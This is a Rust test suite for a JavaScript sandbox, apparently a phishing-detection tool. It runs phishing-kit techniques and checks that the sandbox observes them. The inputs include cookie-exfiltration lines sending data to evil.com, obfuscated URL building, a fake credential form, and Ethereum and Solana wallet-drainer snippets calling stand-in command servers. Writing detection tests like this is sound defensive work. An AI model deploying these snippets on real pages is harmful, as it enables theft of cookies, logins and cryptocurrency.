/// Phishing kit technique test suite.
///
/// Every technique real phishing kits use must execute correctly
/// in the jsdet sandbox. If any of these fail, real-world detection
/// will miss threats.
use std::sync::Arc;

use jsdet_browser::{BrowserBridge, Persona};
use jsdet_core::{CompiledModule, Observation, SandboxConfig};

fn module() -> CompiledModule {
    CompiledModule::new().unwrap()
}

fn bridge(url: &str) -> Arc<BrowserBridge> {
    Arc::new(BrowserBridge::new(
        url,
        "<html><body><form action='/login'><input type='password'></form></body></html>",
        Persona::chrome_windows(),
    ))
}

fn config() -> SandboxConfig {
    SandboxConfig {
        timeout_ms: 5000,
        max_fuel: 200_000_000,
        ..SandboxConfig::detonation()
    }
}

fn has_api_call(obs: &[Observation], api_contains: &str) -> bool {
    obs.iter().any(|o| {
        if let Observation::ApiCall { api, .. } = o {
            api.contains(api_contains)
        } else {
            false
        }
    })
}

#[test]
fn technique_cookie_read() {
    let m = module();
    let r = m
        .execute(
            &["document.cookie;".into()],
            bridge("https://evil.com"),
            &config(),
        )
        .unwrap();
    assert!(
        has_api_call(&r.observations, "cookie"),
        "should observe cookie access"
    );
}

#[test]
fn technique_cookie_exfil_via_fetch() {
    let m = module();
    let r = m
        .execute(
            &["var c = document.cookie; fetch('https://evil.com/exfil?d=' + c);".into()],
            bridge("https://evil.com"),
            &config(),
        )
        .unwrap();
    assert!(
        has_api_call(&r.observations, "fetch"),
        "should observe fetch"
    );
    assert!(
        has_api_call(&r.observations, "cookie"),
        "should observe cookie"
    );
}

#[test]
fn technique_cookie_exfil_via_image() {
    let m = module();
    let r = m
        .execute(
            &["var i = new Image(); i.src = 'https://evil.com/track?' + document.cookie;".into()],
            bridge("https://evil.com"),
            &config(),
        )
        .unwrap();
    assert!(has_api_call(&r.observations, "cookie"));
}

#[test]
fn technique_ua_check_chrome() {
    let m = module();
    let r = m
        .execute(
            &[r#"
            if (navigator.userAgent.indexOf('Chrome') > -1) {
                fetch('https://evil.com/chrome-payload');
            }
            "#
            .into()],
            bridge("https://evil.com"),
            &config(),
        )
        .unwrap();
    assert!(has_api_call(&r.observations, "fetch"));
}

#[test]
fn technique_ua_check_conditional_redirect() {
    let m = module();
    let r = m
        .execute(
            &[r#"
            var ua = navigator.userAgent;
            if (ua.indexOf('Mobile') > -1) {
                location.href = 'https://evil.com/mobile';
            } else {
                location.href = 'https://evil.com/desktop';
            }
            "#
            .into()],
            bridge("https://evil.com"),
            &config(),
        )
        .unwrap();
    assert!(r.errors.is_empty(), "errors: {:?}", r.errors);
}

#[test]
fn technique_string_concat_obfuscation() {
    let m = module();
    let r = m
        .execute(
            &[r#"
            var a = 'https://';
            var b = 'evil';
            var c = '.com/';
            var d = 'steal';
            var url = a + b + c + d;
            fetch(url);
            "#
            .into()],
            bridge("https://evil.com"),
            &config(),
        )
        .unwrap();
    assert!(has_api_call(&r.observations, "fetch"));
}

#[test]
fn technique_array_join_obfuscation() {
    let m = module();
    let r = m
        .execute(
            &[r#"
            var parts = ['https:', '', 'evil.com', 'exfil'];
            var url = parts.join('/');
            fetch(url);
            "#
            .into()],
            bridge("https://evil.com"),
            &config(),
        )
        .unwrap();
    assert!(has_api_call(&r.observations, "fetch"));
}

#[test]
fn technique_charcode_obfuscation() {
    let m = module();
    let r = m
        .execute(
            &[r#"
            var chars = [104,116,116,112,115,58,47,47,101,118,105,108,46,99,111,109];
            var url = '';
            for (var i = 0; i < chars.length; i++) {
                url += String.fromCharCode(chars[i]);
            }
            fetch(url);
            "#
            .into()],
            bridge("https://evil.com"),
            &config(),
        )
        .unwrap();
    assert!(has_api_call(&r.observations, "fetch"));
}

#[test]
fn technique_settimeout_payload() {
    let m = module();
    let r = m
        .execute(
            &[r#"
            globalThis.__payload_fired = false;
            setTimeout(function() {
                globalThis.__payload_fired = true;
                fetch('https://evil.com/delayed');
            }, 5000);
            "#
            .into()],
            bridge("https://evil.com"),
            &SandboxConfig {
                drain_timers: true,
                ..config()
            },
        )
        .unwrap();
    assert!(r.errors.is_empty(), "errors: {:?}", r.errors);
}

#[test]
fn technique_json_config_driven() {
    let m = module();
    let r = m
        .execute(
            &[r#"
            var config = JSON.parse('{"target":"https://evil.com/collect","brand":"paypal","fields":["email","password"]}');
            var target = config.target;
            var brand = config.brand;
            fetch(target + '?brand=' + brand);
            "#.into()],
            bridge("https://evil.com"),
            &config(),
        )
        .unwrap();
    assert!(has_api_call(&r.observations, "fetch"));
    assert!(r.errors.is_empty());
}

#[test]
fn technique_localstorage_tracking() {
    let m = module();
    let r = m
        .execute(
            &[r#"
            var visited = localStorage.getItem('visited');
            if (!visited) {
                localStorage.setItem('visited', 'true');
                localStorage.setItem('timestamp', Date.now().toString());
            }
            "#
            .into()],
            bridge("https://evil.com"),
            &config(),
        )
        .unwrap();
    assert!(has_api_call(&r.observations, "Storage"));
}

#[test]
fn technique_create_hidden_form() {
    let m = module();
    let r = m
        .execute(
            &[r#"
            var form = document.createElement('form');
            var input = document.createElement('input');
            fetch('https://evil.com/form-created');
            "#
            .into()],
            bridge("https://evil.com"),
            &config(),
        )
        .unwrap();
    assert!(has_api_call(&r.observations, "createElement"));
}

#[test]
fn technique_regex_email_validation() {
    let m = module();
    let r = m
        .execute(
            &[r#"
            var re = /^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/;
            var emails = ['test@example.com', 'invalid', 'a@b.c'];
            var valid = emails.filter(function(e) { return re.test(e); });
            if (valid.length > 0) {
                fetch('https://evil.com/validated?count=' + valid.length);
            }
            "#
            .into()],
            bridge("https://evil.com"),
            &config(),
        )
        .unwrap();
    assert!(r.errors.is_empty());
    assert!(has_api_call(&r.observations, "fetch"));
}

#[test]
fn technique_multi_step_credential_collection() {
    let m = module();
    let scripts = vec![
        "globalThis.env = { ua: navigator.userAgent, lang: navigator.language };".into(),
        "globalThis.collected = { env: globalThis.env, cookie: document.cookie };".into(),
        "fetch('https://evil.com/exfil?data=' + JSON.stringify(globalThis.collected));".into(),
    ];
    let r = m
        .execute(&scripts, bridge("https://evil.com"), &config())
        .unwrap();
    assert_eq!(r.scripts_executed, 3);
    assert!(has_api_call(&r.observations, "fetch"));
    assert!(has_api_call(&r.observations, "cookie"));
}

#[test]
fn technique_try_catch_evasion() {
    let m = module();
    let r = m
        .execute(
            &[r#"
            try {
                var x = window.chrome || {};
                x.runtime = x.runtime || {};
            } catch(e) {}
            fetch('https://evil.com/resilient');
            "#
            .into()],
            bridge("https://evil.com"),
            &config(),
        )
        .unwrap();
    assert!(has_api_call(&r.observations, "fetch"));
}

#[test]
fn technique_tycoon_2fa_pattern() {
    let m = module();
    let r = m
        .execute(
            &[r#"
            var isChrome = navigator.userAgent.indexOf('Chrome') > -1;
            var isMobile = navigator.userAgent.indexOf('Mobile') > -1;

            var config = {
                brand: 'microsoft',
                target: 'https://evil.com/collect',
                fields: ['email', 'password', 'mfa_code']
            };

            var form = document.createElement('form');

            for (var i = 0; i < config.fields.length; i++) {
                var input = document.createElement('input');
            }

            document.cookie;
            localStorage.setItem('session_id', Math.random().toString(36));
            fetch(config.target + '/ready?brand=' + config.brand + '&chrome=' + isChrome);
            "#
            .into()],
            bridge("https://evil.com"),
            &config(),
        )
        .unwrap();

    assert!(r.errors.is_empty(), "errors: {:?}", r.errors);
    assert!(has_api_call(&r.observations, "createElement"));
    assert!(has_api_call(&r.observations, "cookie"));
    assert!(has_api_call(&r.observations, "Storage"));
    assert!(has_api_call(&r.observations, "fetch"));
}

#[test]
fn technique_eth_wallet_drainer() {
    let m = module();
    let r = m
        .execute(
            &[r#"
            async function drain() {
                var accounts = await ethereum.request({ method: 'eth_requestAccounts' });
                var addr = accounts[0];

                await ethereum.request({ method: 'eth_getBalance', params: [addr, 'latest'] });

                await ethereum.request({
                    method: 'eth_signTypedData_v4',
                    params: [addr, JSON.stringify({
                        domain: { name: 'USDT', chainId: 1 },
                        message: { owner: addr, spender: '0xDEADBEEF', value: '999999999999' }
                    })]
                });

                fetch('https://drainer-c2.evil/api/drain');
            }
            drain();
            "#
            .into()],
            bridge("https://fake-nft-mint.com"),
            &config(),
        )
        .unwrap();

    assert!(has_api_call(&r.observations, "ethereum.request"));
    assert!(has_api_call(&r.observations, "crypto.sign_message"));
    assert!(has_api_call(&r.observations, "fetch"));
}

#[test]
fn technique_eth_transaction_drainer() {
    let m = module();
    let r = m
        .execute(
            &[r#"
            async function steal() {
                var accts = await ethereum.request({ method: 'eth_requestAccounts' });
                await ethereum.request({
                    method: 'eth_sendTransaction',
                    params: [{
                        from: accts[0],
                        to: '0xDEADBEEF00000000000000000000000000000000',
                        value: '0x56BC75E2D63100000',
                        gas: '0x5208'
                    }]
                });
            }
            steal();
            "#
            .into()],
            bridge("https://fake-airdrop.com"),
            &config(),
        )
        .unwrap();

    assert!(has_api_call(&r.observations, "ethereum.request"));
    assert!(has_api_call(&r.observations, "crypto.send_transaction"));
}

#[test]
fn technique_solana_drainer() {
    let m = module();
    let r = m
        .execute(
            &[r#"
            async function drainSol() {
                var resp = await solana.connect();
                var pubkey = resp.publicKey.toString();
                var tx = { feePayer: pubkey, instructions: [] };
                await solana.signTransaction(tx);
                fetch('https://sol-c2.evil/drain?pubkey=' + pubkey);
            }
            drainSol();
            "#
            .into()],
            bridge("https://fake-sol-airdrop.com"),
            &config(),
        )
        .unwrap();

    assert!(has_api_call(&r.observations, "solana.connect"));
    assert!(has_api_call(&r.observations, "crypto.solana_sign_tx"));
    assert!(has_api_call(&r.observations, "fetch"));
}
